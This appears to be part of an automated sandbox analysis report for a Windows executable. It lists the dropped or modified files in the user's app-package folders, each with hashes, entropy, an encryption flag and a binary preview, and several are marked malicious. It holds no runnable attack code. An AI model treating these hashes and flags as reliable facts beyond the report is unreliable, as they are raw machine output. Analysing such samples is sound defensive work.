C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9752514610913865
Encrypted:	false
SSDEEP:	192:jslX7Y1VHztwVQ1Bo+V0BXfwtS2GPIs2VZl3bUxVd4:jEEhzWOPo+VCKvGPN2VZW3G
MD5:	D195D2E159B9C7B7852B1592CBCD6AAB
SHA1:	03F6B586B11A168322B2A73BA88550217CC66810
SHA-256:	E3B303E405787A481B13BC9C2553A3320F74B9E41A7A68AE76914C5C2FDB3AA5
SHA-512:	B411FAE74DDF91AB16D2B187532DF931297E210642DBE45F531AB62AB0995A4968682B256542692C4D5A212468F3106B0DEFD32D77138CB5426E8C7F67026C93
Malicious:	false
Preview:	regf.#r7._.....v.!....l.<..n.4W.U..b..hP..Y....L.e....Rv.lV2r30~..2.W.4...#Xw8.!...v......Z.{C.j0d. .o6....A...e...C..J..:.?.S6={{....i..W&p.K.c...M.......b.2.\=.Y..,....L........t1..u'...I..aB]j..<.........._.h..a.`.WPX.i..,am.%..k._XO.L..[..z.....N......\|m...).#.'..._.....[w~!0aU.Y......A.a..N8w9Z.b....r..D..p.S..5.PO.a...A`=.......CHGK1)n\k........C.J/...,.\...]........e.J..A..6#....b.7k.(..=......~98I.S..!L...5.....?.!.,.7'^wm........0......._..Y4...CP.m....6...7:..u.}..........-./O.!....X.K.~..Z...!.2.&...b..)q...UKw@.k......!k.Av`......6..T....gc;8k.>b7..f.`..<.t.xz....Y.ac.\|7?. ..p..8?Q?....0....u2......UM.........8(...wv..z4..xZ%......p.s.9.u.?...#.9V.-'5Y..q....C.....#5Z.......OQ.C....Bv.l.u%.....\|2.tzu..IL.#...^.....Y..A.X..V...S....D..GM.aN4.nX.H....p..BA.oH..d..4!U..&..[a)U.....2.vT......y.!^.^..Y...D...f...*...bS..... ...Ig.Y.O...:...;%.=cf...w.:.....<.8a...kK$....]3.e.(.bW=..\3\|.h...vw9.zg6.KIB..C.OZ&.h...........s....'3..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980196174595388
Encrypted:	false
SSDEEP:	192:Q0LGXkSn3kzcdQa5++ZVBn0oZnm+cvOEv/aSP4d+GE7XJRCw:Qj38cdQo9rc+cRv/aQXrf
MD5:	8E726D4EDB63D8A0AAB2D7A6EEA8A956
SHA1:	F453EA52115FE7EEE4E4CBF03669C6D6BB56CF46
SHA-256:	78D190CAD41847B4C7E4238B5C75DFB59CB54DC88E5348D30805E6B5397DDCBB
SHA-512:	23AE57E99C24DF1E6B454CC76381BDCE93BAB38BD208114933345B312A84628F75E40EC3DD68C91484F29B7DBAE1C07B7BB168512A23EC35E7BAE15AF3C75ECE
Malicious:	false
Preview:	regf...~I^..]}..SN=.cA.uJPH..."Mj.I...(W..$....a..q.Y.z...Au)..7..Q..i..G..B,.+G..s...L.lS.Si.?........8u0J....FS.;.Y...j-...;K......(..7.v.u......o.J.Gm+n<..{=.).D'3.I.>...M..@%-..6.IE.=;@..i...N.....V.2.....c..f.3m..Q.../K9.]..C.I........%..%Bi.p........uT.C..LT...#~'(..v`>.36.u)..........kiUI.#5`gAO......<..(..#L7<...n}.......n.......mt.a...........b...bV........'.u{I..`s[V.Q..\|.s.....d......C..R.'1c..w.Wz.z:z.YA.U.vqy..S..Y......6...D..a.....f....>.....jmIC.E...\|.m...V.....H..@.....%b..q}..[..".I.....D....^g...=..>x.....:.l....=.W.........c..B.....j..v.8.i..7.]..;..h..2ZS.S..7.k.1.Dx"..S[.R=c.w..@.w..:7q..........;'..T.I?@i.J .<.b..c...GM.9...5Qq.&...M.........`.~.te.^....DE....2.q...d..0.n......6.6o....L2.....;'7H..0pK..Y&..V...].P.=.m0?,.........#..]..Bw..5...t..w.m......Ow........h. ..pH...b.Y..(...t..^.^.[F.<o..tk..]......%E..K.I..X)!(.a.(=..Y.'...}x...k...B.{..).4K...../~.?.8.G....Z\|.6q.4{ ....'....\.mc/4k.2U..a-..&.p

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.648624674027283
Encrypted:	false
SSDEEP:	3072:Go8zjDyzWLoykHplY1ssdqmeVbqkIJ88+Xf4Ad1sZnT5g2u9bLjlnqz:GZXGzWBkJlY1sscRcg1AJsblnqz
MD5:	1E6C385091E8A11AB2B7E80C63B92BC2
SHA1:	99973677AC54CC6EF008853E6605A9E8DA0B86A8
SHA-256:	74E631789681570079E79CF789AF07EC21413465E21465D82DCC645432AF8005
SHA-512:	D41608734A6F3D435186405A0D9B9A120563F302153C7E66083BAD0B15F86CC80C79A9B6649CB7BC1261BB5E69B4E458C6AD79EE39915982364B26A46C3973B8
Malicious:	true
Preview:	regf..A3...n..v...4.,......8..@.Y..B.hp...a}.l&....).+.]......_.."..G(0!.Af....Hw.....R.,..v.&..P<..n2oh..e..d ....1..:..%..c...@..f.......-....,v.....Q.%...V1.^.o....Y.oH.....M.pF .~Q.<....P2h..W.SN...QF..U..F.........0.C6.....#.....;..H..D[...k..Evo..$.......=..T.....L..:....L....N}...z.h8vc._...$0g<...5.U....w.:.fm.T..m..z++.dyy.C#.E@q~.(..W....Q...............hi...`U...PhW...7.9OO.x.}..D."..a.if..Z.l.x}fmE.iO...kQm..nu.6.=\|.....9. .z.#p.T.z.3..Y&.B...N..-.7.>I.v...9cV...j../Z.Qz.)....l.H..E...b..g.Z(.....2<.w...W'.......;.i@.........A8...I...R...<...c.c.f..n.p..1/.k;...{.&.SU.........R.....6.$m..I..^t.S2h.q8...I..Em'..+.K..O....a.G.'.....?"0....k....%.6j./6.>..g@a_...eL...8..(.x.>)=l.C.l.(#..\|.3d@.........gS..U.....x..UGCa3.0...%1x....i.%..V.)7@....]!X!..M.<......oh.L.4.@.MQ.;.Xx.a.....R...0.'o~6.r.4.t...A;M....X.6.'......4...&...h8.Y..Lh..<Mb...*.hp...iE.V(1.6..$..Xz>..).S.H%.(. .......WX.g..[...K.z.g..W.`",.,.e..]...S...$...V8....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	74062
Entropy (8bit):	7.997187843289514
Encrypted:	true
SSDEEP:	1536:PH+jteg5Jq7sybMvs9jnIQ/2gXwT4/QMmm1FcStCns9LdHVOROL:POtbssWMWj12pcIMR1FcS0nALdHVOROL
MD5:	B70CE6B0C25CB717536B7CC69FB423C7
SHA1:	B3FDCE280ED261E03078260A74835F7B8A7CCA04
SHA-256:	BD32B3097BE966F9F0137629E8FCE3DB4E1471784FFD9DD5B6F3D179794A1B78
SHA-512:	1455293BCDFFF8489248ED449CB0D92CD661991C5EE3645AB381260E07EB54580607C52F56F9CEB711FC4AE674B7095F39541405F3A061D34B3925074FC8D6DF
Malicious:	true
Preview:	regf...i.I9oh.A..RQ.dD.u.0...HP.].w#t....@...h.....&..{..mShB.y..b.Gl...fC.0..&.......;4.>.+m-4.z.4v...'..^.........5..........1.i.`m.2y`m...?$.q.........!..h..V.../...s......,y.zj......PC...7B.......ex.X...QY....z.Q6S..#..Pb.%.G6wy..y......lQd............Z.:..B..-h.s-b.@._.m...j...1.HS....7Nlb.....:p..qC.A.Y)....}.....).......Bv..X...@.7y...'.....cqi....'..._z.K-.!.........1.vpM.. .....4.F.X..P.NM.l.xI"0g..u3..F..uA.a..}..B..EW.m.(...%..X...->\|3w8.f..;.\..3..Co.\|J.>..:...8_.+`..f.v=f..U......i..&y..Z....^....UBD...tG[.9..%.-.S........k...5..p...O...U..v.d.C..#.s....M..S........X.qml$.4..x/....f......n....zW.5....$.@.@.e.P...5....,Q.#.b..........}.b.#0....p....g........y;.MN........h.....m......<..kO...4.B..K...80aNf. I..0=]...{..Sbp.....]4+.....2....0(.E.tu6z5.._....>....].....B...x..}\|..`..Cu.:.Q.l.w..V5......5..<.h.PJ.......~.wTK..@-a.=.;.#.<@..:.\|...2..1.....mh.".9&...g.'..2...Y.^...l...g(w.N.F.,0..R.Sl.o.......#...F.h^.f...$...$d.....d

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977212043523138
Encrypted:	false
SSDEEP:	192:KTVbxg8qkjf7Mc/kVn9U664Bq81QaKY7BKumknjIq1mumBsl:KT5xg8qkjf7nkPU66GWvunjIq1Usl
MD5:	7BDA829B3AF2AF4DB15134D5C501291E
SHA1:	60419524FD9201FA60370FA727ACA0AB6A8132F2
SHA-256:	0DB1972E0D72F0B4444DAF32FFAD3D74AD8A663F4F7AC221E77F2EFE700B2AA3
SHA-512:	C4A6DB8965C0B6DD7A7A54AD3EE7C7005C629F5E879356949C0A8D33ADF9614E91EF36343C034EE67549727ACD318B08E65E4F3AD2AEB3E177586EB6FC07AF16
Malicious:	false
Preview:	regf...w.......A..u?.......0k....'....dD.M'=%l..p.T....F..~.!...XtTz._C\|...I8.. AY.......i....Z.@.3....Z/.2..0.L'..;...G}v....... .....9..1o..U%!...ez....WU...........6...!X......x.......u...9k...d{.Km?PS.........9.jO..V3...ql."...e.a....z..uY..%.K..-._..u......MC4.:\|=.".$.=.S0C...D.\_P.zi-.......8..EG...../..ujn.+...cAR...Z.e..k\|...^.%.B...s.8..T.k.P.".q@.%.0iv-U...(>.....eW.1..p....Y.F$G<Q...A.....T.e...HG.f.4.l.C.+..O.Vp....I.(>...H.TF.~.....y......K.....j..;...5.E...(...,P..I..Po.c..P...R.P.....Shz.....Z..>..mZ6pW._.Y\|.x....<g......bw.&Lzq...]....l..\|..Y......m6.vZ...;....W%.l.$...I..b...T......~..I.g......';.}...U............5n...C.Z.B...?O." ..K..28pG......o....m:.../..%n[.8.w.i..y..9j4G.....2..A.I.V.."c..0...W,g./...MeP..fO.t.5...I....Lt,.Z.v..gv.')O...kJ.}.,kn..hE.xS.....k....5../ .q\.....3 .....WT.=`.....F.Q....]_.).[<....9..J..k(.zR.r@&.`I"....{R.2.1'..4..q..7......]..9{.A`..o{.2.....f...\|@...+.k.......~O..j....5KI..z..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97686753391602
Encrypted:	false
SSDEEP:	192:FKV+Ti6HAj2bdxAutAoqGQKHo8spWz5figrRLQgJ8ZVHjXr6jxCKF4i:I+Ti6W2XAu6R1vppW9rRLNkVjra3
MD5:	CCB03AC8F3B5FFD0F2EDE5AF18C7F976
SHA1:	1FBFB211B387339AB55CE6CC5B4DE5F05957D544
SHA-256:	A48890352A431BC9A49756FD2C39B4F6903442AC51087532AD011C20237809D0
SHA-512:	CFEB6922D7942FB020FF82B605EE146E096BF274DE9BFF49A3BDF29CC8AB3F1247C3DA5A4CC8686A1342250589E8883119D312841505DDDDA539B94DE2018766
Malicious:	false
Preview:	regf.cg0....a...#..co.WWD.........v.....r.-4.....!<.g3...)..H....]..z......g.N.......'{.....Nx.{....rC...3....K.wCp.I..Mi.v..\|....'.`.$.Y~.z.v&2.=..^.i........Y....a.].R?...y.z.lR;.V..ox...v.`...<x#(?....R.5Y.%..s..`4..v..&..`..$E=.L...^.!..{d....RC...W.)h-..B...3.yi.1E;.......1g.\.P,.vk+.F..H!..]5[m`xO...B'........@).er..s..Ej....i. SH...G..._.......SLY.e......yo..03...............K.&x-..o...}.Qy.r.&.a.B.0......._X...S....m..1..x.ut.5.V@..mi.0....l...#.a{@..X.....3v..vUY[...l..m.`..]..So.Y:..Pl.<..4.P..B>.O..X...k..,s....q(...A.......U.._......y/.[..$nPj.....8.@.p.Y..f.t...Q..)...{0.._. ma:.%E.5..<r.s..l.+...........{......I.....T0.:.(.>Af\|w...l...7y.u..g"T.M....}.7.c......_.W.^.<.v.CP.h.k..I.`(..=.7.dk..E.WfN....o.....hj......s..w.4.9....?.%.L8...Cf......Dmo..J.,._.D\H2......5;Pk#s.8.......[...6.....%O....t..L.X..!..:R5..m.-....b(.U".MJ.z][OD..t.....[r..^...T..V.....>.A..0..;2Wpp.E5-.7./...o.".\.......UW...z..(.0.G.?u,).T..I....y#.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975501458322786
Encrypted:	false
SSDEEP:	192:UReOLW+qxEhTTSW8I8eVO7H0s+rNPOTNvjfGx5rBt:M/phTTbXO78PgNc
MD5:	7E2A6A5E8809FE4C39E64ACC3EE11777
SHA1:	2AC36703CB6C59EB63CCCF84B3FB616001309E05
SHA-256:	F38265E65727B53A067F4FAD309833A5056FCD1B476608AC7CCAF22AA6616071
SHA-512:	AE839115DA57D3552F969229EB7EEDBA4F227D821AEB75F8E410D046837B9CCE6CB62FCBDD1A08BDE11A6A07E7734B681C280E6B1AC93DC1A0F13C4D17DA5A7C
Malicious:	false
Preview:	regf.jd.PZtTZ.O.]W...P...*.Qx....f..H..Y.%.!.6.........2......il-D..T.F^.HZ.._[Yf2.[O8.70........Ni]GJ.....L...l......T.J....>..it!..T...0...jm..:...N..d,7.....re...a..Z..,=46.........s).k..cn.1....M..8..";.....H-...^.F'.....MUt...]K....x.J..7:..~...a..uf.3..lq....>.[l..}).:a........i.IE......ZJ.K...i^.M.u..i..o..]2._w.""...[......&.\o.g;.S.E6..y.k.m..4.B..4..w...{.......;..@tT._.`9UV..n.e..?..$.pypt.e......V]/^.s..5..8..Z1OHu."]...[6/....k.a..[.......?.R..d5.0.Uj6......L....C.k..[.R...\|Kg..q.g.<........A<...V....0...,)n.....f..8...7_.#..l$.......d.....U.2...c..)..M........'...v.....a.K....J..V.T}...L.......S.,..+.....L..C...?4....%.iQ....9..3..)[.3..:........%a.I...Q.....}.......}D..T.Y[.U...(...!..t.... .;..y...=.x;3.[o6....:...&..y.......l..@..C..9....1..e.8..R......9.!....P...u1..fj.w.9..&.6.RT'.....c...k.%W&l0.........].4..........!......V.....2.T...(M.-.....\..........K JLq....=7.1..%...H...u....R..a.>[g.%.51.....L.~pgh.V.d.....Q..e.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975442027790847
Encrypted:	false
SSDEEP:	192:dUm1B+RSCouRSt3Imq45pDEgehyAD0+jfdIDXxnrtvHevY3PAT:d58tRsIZkpDEgehyAD0mdwJHewfAT
MD5:	952C49A72DC470FA17292752A1274944
SHA1:	940626974C45F31561842863B3212513337F4E61
SHA-256:	8896D6D383BF48D3DD2CC53B299D6BCB04FF921A34844C3A963E8D4ECAC5ED2D
SHA-512:	D181D0A133B84AF7D7D67B31D93FD4CFC68371E8CF15ECB9C3731DD048E4334616C8AC09128691DD7F3EBBDD2F549C536B23F9CA6317A3AC6B8FDE98CBF67B18
Malicious:	false
Preview:	regf.$..............i...cX`..F.6.M..M^.\..f...hk.xHM...=#.2k.....w....T..>.2.q..$ .\+D.e...XG....1.%...bP.(6...F..../..D.:.GA3.(_+..X.".Z....qE[..A....0..l<Jr...\...4.#..8.....]D...4.kv..qQ\#?.}..Xt$.f.......b..c7.b..;o..,W-.._A.-b,...h...e..........F.4f\4.o.]ph.p.c.P.kg.9.}...J....w...C... .i..JY_.)...`.vw..s...=_.^.>F...+Qo...Pc....0U.B...[..M...e.... ....]!...>....X-...._.. c.....L...L".+.S...+c.(...@R)Y....O..W\[-B...E...>..^D.2.m~.~k.xBT......Uh.e.].Y....R..)L]..m...)...#..C....~.\|.C....p.....S........6yh..._;........OIu.S.e....G].7"yT..........{..Mg!A...jI;...l..@..s.....Z..~.f.j..AxH6c....w.>..%......+E.;..8.".-!.y.."S...dKM..`6q>.,..1..A._...3,...p..3.....H@.s...:.d...B.G....._.R......N.tF..".!W../.m...h.apY.e..}...{.......)......hq..RF.>.[>u.z.%0.[..L.D/...w........G....Ylr......A.Y....p...m!....Nl.8......K........RD ...v...$H.._....)..._.\pv:Uw.(B..}......`.R...1...g%.M..^..O...7.(.._...d.>>V.F.D..8,..1....!...D...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97594430137561
Encrypted:	false
SSDEEP:	192:wVipP6rK36yFudTd3M7ik8id0bs2gUTbqKyksjYY:wViJkK39iTqG4KbsJ2bqKykscY
MD5:	DAD73C0C24B2D677DADED98A3F398F7D
SHA1:	F4C8533202F9A1C04CEA89D2889AA165A660EE72
SHA-256:	3A08BD3365FABBB4C52D0F75E0635800D7A99E9AD921A6940097B381304A5424
SHA-512:	9673BBD1803B4BDBB660CD0D3BC6113B50557E4EDE9EA0CFFE4E8EE933C5486F92B4C78134873D5795372161577A24DFE9CCB97C0B53E47B4A0F7343042745CF
Malicious:	false
Preview:	regf....\.oqOc.{..g&S....o.....i..bv....$% .'tJ1.....\|...].......9".o.6.\|..M.\.c....I..gY.R..Nt%..@...^..TOw....d-j~..X...Y..(..A..e$O'.T..K.VG..m.....y...3..K.;n...m._...+.._.....O...y..3...]qkh.fe...p.m.* TM........a_^l...Df.T.........d..R.d..~.4z....m..N.+.a...v\|.$..4 ...P.....m.+.g...y.+........#...0.Jw.....f..\0>.?.Jei..J.q,'.. 2...B.ag.Cu>.6?.&.K....Y.g.!(..J...".J... m..T.+..1..\..y.K....SM..F/....o.v.I(V\|..;=:....~..L....Q.v.n......2"..#<.....!.*<#U6.}...L.V..n.K&. .u.....A... ...eO +...yB5........m...Ay..y.N.C.....U.5.c.......P.`o.q....]@+`g.....AH.I.fG.?.F....r..<d.I.{-g....1....(.F....DA.A>.Yhs.........oo.v...-gyx..^Cv.N?.$4.i...k...........:.R.[.o.....q:...$c5%..n.....4>C8@.#.......G..,..............(h....`..l...'4..t...l..x..`._.?.].,..:.4..O....;.2..00P.!}...{.......h...c5...5....?.d.`...m;.~\|m..`.....nO...".>....,..<.....%.$.s.x\.y.o.P....K....Dk...%..V.....g..P.a.LmR...ij....K+.v.B2:._=...=M .t.......)..4..:

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.957681895827222
Encrypted:	false
SSDEEP:	96:YxSLDYt7FZW8Xm9EY11VK3XMOKnKrWRBfqRB7jY:j/Yt7W8O11s38MrWDyR1M
MD5:	36DC4EDE57A300C47776D747692EFD36
SHA1:	D2A0CEC98EF5AA9966E51787B55B00CC384F612D
SHA-256:	46395BB44BEF4A39B6E18BD45E451021C16CC612E6A2E477C2B59E746240EF93
SHA-512:	5A39783C403F20560DF1DD4B194A722B08B5BEBC4D954CCADFC1B1153A349364C663AD6B1D73B86493E933C07F797205A1C2154435F6922820D39DB29414F155
Malicious:	true
Preview:	SQLit......<\|c.mu...n`..;..p@............!.f..}.t....QeK..b9.\|[x..M8.......#2h...D..XV.b...G.a....O.....)..d.Y.~-X>.....Fd.c..s.q..S_(..)n....H\|.y.g..BF=x......\|^.Y.q..~.....:......s.`.......>.......R.X.E.]..\|HB....c/...l.eG...R...v.>%.\|R..W..z..w.m....T.E6..Fb..o...!d.(.i.y.;.....=....1...WZ.Q.........4.....Q\|.\|c...74..%2...p./..tbG:.....b.#1..Z)U..s..h........r.+.J.=S.T.obK!zO...eq.....9..7...O.K#.."...p.R...0...u.....&Tm.......V.k...:/.,m.jz4'..8$.#.*...{..G.M=......s.T...Z...4h1>..J^..g....P&lw.B. .f.....61.kz.y.....X....~?..9.....84....u.y.J...j......rh..S.....0..........>.)....~TbFK1f+..V.ZP!..R..E...F...${.az..(..hH....s..3X.>.N.(+...5.;..R...!X....M..'!..y....?M.rn...B X..4...ja...>.3.D....pC......Y.......XE...\|.!y...3dM.r..7.xF.[?...k5xG_.=A9J.8...k..o."......0}.?.I..2NI.)..q...v..1.Ho...o..g.Q.=.!.....=.?.2..M.?5n.cX.'..)~.....A.a..1..X+C..8...B7..H.T..;.].9..1.uk0...%......y.KN.9......x....G....!i.`4~......l#..E.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994044222574877
Encrypted:	true
SSDEEP:	768:ugusHN4oWognCaVf7ElreGPAUMdH7GEHqghS9TdKYW8:uNoXaVfIretUCH7G0VwIYW8
MD5:	F4A3C162EC9A17B253775799BBCE684C
SHA1:	CF02B363580220C79217445E5D11E254D0BF352C
SHA-256:	757FB71557C939662303D4611F8CA1BD4090BE6FC76A777740331A3C348A0133
SHA-512:	90EA423036C842244AF2EA9157741F6B7D224B7C924B7E3AA8203B182868A00DD43DB8D67BFB0A9017A3193F963285890EE20FC014159E897E5EE27871F7E6FD
Malicious:	true
Preview:	..-..O.!._.......v....Ce..y.....+c#..$}.$..(..Uu.#..u-.c/..y.D.U.Mv.......8....[.nYRi.....Yf.<a.h..1.NL.K...'f.pi..^.'.....B.{TR../..:..(....sT...'.3g..m.xN.....u.pQ....u&......g.7....K.:....rc.V.@...F......a...].o...cG.P.....3...Z ......M.. _.....w....;....Y.[..e.b....bH"....7l.._g.g.U@.h....x._....^.......2......v}7C........>!.....2$.4.GPc..\.s...`.._. :....o......\|!\.VTm...]..5..G..8..z..* .?v...%..(.:R3@.(.WF.&"...j..X.\|......JM..\|.u._.#.I.C_.....>G._.H`'5.JuqmL....+2 .........w".7.P.....j.]...b..G..... 4....<.@.h.z...@.......Y_..0.9W..G^.n.....E...X9....g$.&Qw-P^.Q.^.}N.DF...c.....).C....a...N..+v..14...(.l..)OI..c..n)....T..?.x..$....(..U-.........^P....u.,...Fi..l. .RU..._w....z2..>..UP`.........2.b.7.nA.?.{.&@".N...o......s...Y%h......5..g._....c.k;..t......B.X>.L.La_.Z../P.\..v.o.X...C.[,....x]..7.........`..t.}m..%Nd..v.0.xBw...#.4.`..k.a..=.mfX...n94..t...s{......+&r.mf.t..".^.W`B.N.E....7pw.@.9.Wz.F..j.G..j<...ct.X

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	SQLite Write-Ahead Log, version 8528385
Category:	dropped
Size (bytes):	1339366
Entropy (8bit):	1.9865313479450695
Encrypted:	false
SSDEEP:	3072:z2lUnhXTWviNfjJtDiV/6FFk7Tu4VjyRZCJa6VmCanqbz1YFcwOuaZfYolR9FEe4:UUEKbfekFS7C4VOmHcCaqbxY+Ju8q
MD5:	8CB2A24A6B2FB36A5987AB830B2DD647
SHA1:	AE4EF636C4A9E48B55897812A4E58AD26B5DC1A4
SHA-256:	B6818BDC2D1808D91A0703742955525D276C9D448C56261B7B7952C15FA62999
SHA-512:	20430BF83F8F6010D8C71058BACEBB630B7B62F5F7D705D2CCA5FA93B50657A7FE5FB3FEE980363E0327B65BD4CB620AB5D064931FABF95A4E0F9852EEA41EF1
Malicious:	false
Preview:	7....."....Q..,.!.bB...C..+.-j..A. EPNb..!whw....%...~.@Xt...a...D.......#2+.i....aPh.y.?...L~..h..V.F.iY..d......S.R.......v.....7.@.:......?..;....-.f...YoM9!..i.".)m..-y...].Yd@.[..-w.{o..&.x...4..7.a^}...`s....).,...l.(..J.&.G....W.0....(...l......?.}.T..D,zc.P.V4......~t.......o..x.O.....g ...l,..j.X..:..ngL.[.9.o.WU.s.N....S.....a..uO.UuK8P..>t.:...;.%d...../......,1..7.I4..&..u.;..i..Z..$..&.r.[.h......Nn.....X>.W...n.b...Y....K.....O....C.%...+l..I6.....l..<W...hL...+..m.#..f./...z....S.n.Z>..I...q.x.~....r?]O!......\..1....&z.BZ.c.f}\|-d.p7...O.N.^U....TCw.tl....Ws..%..s..1.Wd)......<......:....r....o.\|....O.s..k..YO...$d.rSr.vt)..s..Q....q.!".N..D.'....q...Nn>...%.......:..&.7......e..8.D.bq(......{.......i..6.%.'....6....3......V...v.X.y~!...s......6..q.......lS....-....%[..w.rl....?..#..y.,..{..VXo.+.....f..F.z.C..4r..?.(.6..wI.7......X..]...X.3.5f.k....{.~).9p....%..Y`.R..\|..@.2=.Q.a.'..~.3..!b Kch.....#..[..h.]..k...4

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997146659726851
Encrypted:	true
SSDEEP:	1536:yi7IxZ99k+3xNE6Pjl3jaPQj9eNV64mAYDAmEoLNa/zgpcJeE:yR99REgl3j3jytoEaNaMa
MD5:	A7BF7E13F027537A41FF9D2A4E860ADA
SHA1:	2F384479D1731D20C154BF8955974C15A2BB49D7
SHA-256:	1D55FA4DBFA325E6D3115D0528BAD370F84A2FC5DD74179ED2F29DF433DC7B9A
SHA-512:	622468EBBFFDD6671E1C4B97C1B95864214BC7CFEC216D0B7615CD4023584ECE7E5878659481FED964D7271CDF764C11BC86509BFFA15B00F33D64E2AC7171CC
Malicious:	true
Preview:	.....%.G.c._7....e..F\|.J..E....rF0.......%.\X...7..^W.......8..........4...#..qc8..{....~.t.f...8a.G.E..$...m .n.W.0`w..J....Ok....E..@:t......_ .....Q.g2J.2TO.Y:?...$.....:.......n....5......G"..:.n...r....P$M........k.O..}.u.H1c...=.......ZB.....]~..b.".J..WH..K![.......s.5.U.73>...3(.v0.=9.Y~O;..IF>~.v..G+...k.f..jD....8....".r.-.4.V....0E.%...7.2}...M..j.v..!.....b.p........!......K..=P...b..,..{[J..1.h.f.N.s.L.k..gZ....A#.....!.`wU..+....68.. .....A.k....=.......A;.u..u..m....s~......rU ?..}~Sy....Y.0:?...'.f........cE. x.h.x........J...3\|...s^...1..F....PDQ.z.%..!R.Z.Q.....L.#.sW....=.....\|.-./#...?...+B......S_U..w]..\..b..F.8.T....8.......K.. ?$q....'... ...;.3.-..s?...\9..4...R.P?....;..X?.a}..7.4q.8..\\.3...$..r/...be...q.\f38.hUT..L.?.....XyHoB..Q.[.n9+t<.5t.<.$..Y..b.@.Z.b....l.g;....oJ.>....1......>G:5g..G.......C......9z..W=s:.........Q..7....... ...}..gDs.......n..p....1?.H;}vW.W-7..;y........&..-.Wx..D ..E..`.......q..WJPF

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976895168444349
Encrypted:	false
SSDEEP:	192:WonS88wRGeCkAsKPjbYyZFTOAnLx+lOgF9LbB48d5iX90:WonNkriSYUFTOkLxNoBW90
MD5:	371899D1A397577AC7D0310C5F5A34D9
SHA1:	56B6E54DBDE8B97E29EB4E527E17C1B1395F138F
SHA-256:	A62CDFACB10D416A9911B07FC80FD321929847FE813DD89BB108C971FE34FF9F
